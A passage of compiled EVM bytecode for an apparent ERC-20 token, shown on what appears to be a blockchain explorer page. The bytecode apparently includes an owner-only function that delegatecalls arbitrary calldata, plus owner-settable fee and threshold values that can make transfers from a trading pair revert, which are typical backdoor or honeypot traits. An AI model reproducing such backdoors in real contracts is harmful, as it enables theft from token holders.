8e565b611131565b6040516104b99190611b28565b60405180910390f35b6104dc60048036038101906104d79190611c8e565b611151565b005b6104e6611225565b6040516104f39190611c73565b60405180910390f35b61051660048036038101906105119190611acd565b61124b565b6040516105239190611b28565b60405180910390f35b61054660048036038101906105419190611c8e565b611652565b005b610562600480360381019061055d9190611c8e565b6116c3565b60405161056f9190611b52565b60405180910390f35b6105806116db565b005b61059c60048036038101906105979190611cbb565b61181b565b6040516105a99190611b52565b60405180910390f35b6105ba611840565b005b600080546105c990611d2a565b80601f01602080910402602001604051908101604052809291908181526020018280546105f590611d2a565b80156106425780601f1061061757610100808354040283529160200191610642565b820191906000526020600020905b81548152906001019060200180831161062557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161072a9190611b52565b60405180910390a36001905092915050565b60055481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990611da7565b60405180910390fd5b612710600d81905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086490611da7565b60405180910390fd5b81600c8190555080600d819055505050565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461090d9190611df6565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109639190611df6565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109b99190611e2a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1d9190611b52565b60405180910390a3600190509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab790611da7565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610afb929190611e5e565b6020604051808303816000875af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3e9190611eb3565b505050565b600460009054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690611da7565b60405180910390fd5b6001600e60006101000a81548160ff02191690831515021790555080600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0590611da7565b60405180910390fd5b3660008037600080366000845af45050565b60001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610dba57600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e0a9190611e2a565b925050819055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d5481565b60026020528060005260406000206000915090505481565b60065481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5490611da7565b60405180910390fd5b6000600c81905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490611da7565b60405180910390fd5b6000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60086020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600e60009054906101000a900460ff1681565b600180546110b090611d2a565b80601f01602080910402602001604051908101604052809291908181526020018280546110dc90611d2a565b80156111295780601f106110fe57610100808354040283529160200191611129565b820191906000526020600020905b81548152906001019060200180831161110c57829003601f168201915b505050505081565b60096020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d890611da7565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60009054906101000a900460ff1661126657600080fd5b6000339050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115355782600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461130f9190611df6565b925050819055506000612710600c54856113299190611ee0565b6113339190611f51565b905080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113849190611e2a565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113e89190611b52565b60405180910390a3600081856113fe9190611df6565b905080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461144f9190611e2a565b925050819055506000612710600d5460055461146b9190611ee0565b6114759190611f51565b9050600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156114c357600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115209190611b52565b60405180910390a3600194505050505061164c565b82600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115849190611df6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115da9190611e2a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163e9190611b52565b60405180910390a360019150505b92915050565b80600a6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008282546116b99190611e2a565b9250508190555050565b60076020528060005260406000206000915090505481565b60011515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461173857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3369152d02c7e14af68000006040518363ffffffff1660e01b815260040161177d929190611fc7565b6020604051808303816000875af115801561179c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c09190611eb3565b506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b6003602052816000526040600020602052806000526040600020600091509150505481565b60001515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461189d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff166323b872dd333069152d02c7e14af68000006040518463ffffffff1660e01b81526004016118e493929190611ff0565b6020604051808303816000875af1158015611903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119279190611eb3565b506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b600081519050919050565b600082825260208201905092915050565b60005b838110156119bc5780820151818401526020810190506119a1565b60008484015250505050565b6000601f19601f8301169050919050565b60006119e482611982565b6119ee818561198d565b93506119fe81856020860161199e565b611a07816119c8565b840191505092915050565b60006020820190508181036000830152611a2c81846119d9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a6482611a39565b9050919050565b611a7481611a59565b8114611a7f57600080fd5b50565b600081359050611a9181611a6b565b92915050565b6000819050919050565b611aaa81611a97565b8114611ab557600080fd5b50565b600081359050611ac781611aa1565b92915050565b60008060408385031215611ae457611ae3611a34565b5b6000611af285828601611a82565b9250506020611b0385828601611ab8565b9150509250929050565b60008115159050919050565b611b2281611b0d565b82525050565b6000602082019050611b3d6000830184611b19565b92915050565b611b4c81611a97565b82525050565b6000602082019050611b676000830184611b43565b92915050565b60008060408385031215611b8457611b83611a34565b5b6000611b9285828601611ab8565b9250506020611ba385828601611ab8565b9150509250929050565b600080600060608486031215611bc657611bc5611a34565b5b6000611bd486828701611a82565b9350506020611be586828701611a82565b9250506040611bf686828701611ab8565b9150509250925092565b600060ff82169050919050565b611c1681611c00565b82525050565b6000602082019050611c316000830184611c0d565b92915050565b600060208284031215611c4d57611c4c611a34565b5b6000611c5b84828501611ab8565b91505092915050565b611c6d81611a59565b82525050565b6000602082019050611c886000830184611c64565b92915050565b600060208284031215611ca457611ca3611a34565b5b6000611cb284828501611a82565b91505092915050565b60008060408385031215611cd257611cd1611a34565b5b6000611ce085828601611a82565b9250506020611cf185828601611a82565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d4257607f821691505b602082108103611d5557611d54611cfb565b5b50919050565b7f4e6f74206f776e65722100000000000000000000000000000000000000000000600082015250565b6000611d91600a8361198d565b9150611d9c82611d5b565b602082019050919050565b60006020820190508181036000830152611dc081611d84565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e0182611a97565b9150611e0c83611a97565b9250828203905081811115611e2457611e23611dc7565b5b92915050565b6000611e3582611a97565b9150611e4083611a97565b9250828201905080821115611e5857611e57611dc7565b5b92915050565b6000604082019050611e736000830185611c64565b611e806020830184611b43565b9392505050565b611e9081611b0d565b8114611e9b57600080fd5b50565b600081519050611ead81611e87565b92915050565b600060208284031215611ec957611ec8611a34565b5b6000611ed784828501611e9e565b91505092915050565b6000611eeb82611a97565b9150611ef683611a97565b9250828202611f0481611a97565b91508282048414831517611f1b57611f1a611dc7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f5c82611a97565b9150611f6783611a97565b925082611f7757611f76611f22565b5b828204905092915050565b6000819050919050565b6000819050919050565b6000611fb1611fac611fa784611f82565b611f8c565b611a97565b9050919050565b611fc181611f96565b82525050565b6000604082019050611fdc6000830185611c64565b611fe96020830184611fb8565b9392505050565b60006060820190506120056000830186611c64565b6120126020830185611c64565b61201f6040830184611fb8565b94935050505056fea2646970667358221220e82071ae62a646992faa7ff798a2270d5775ac50bc51bd7a81b72cb4657bf19a64736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.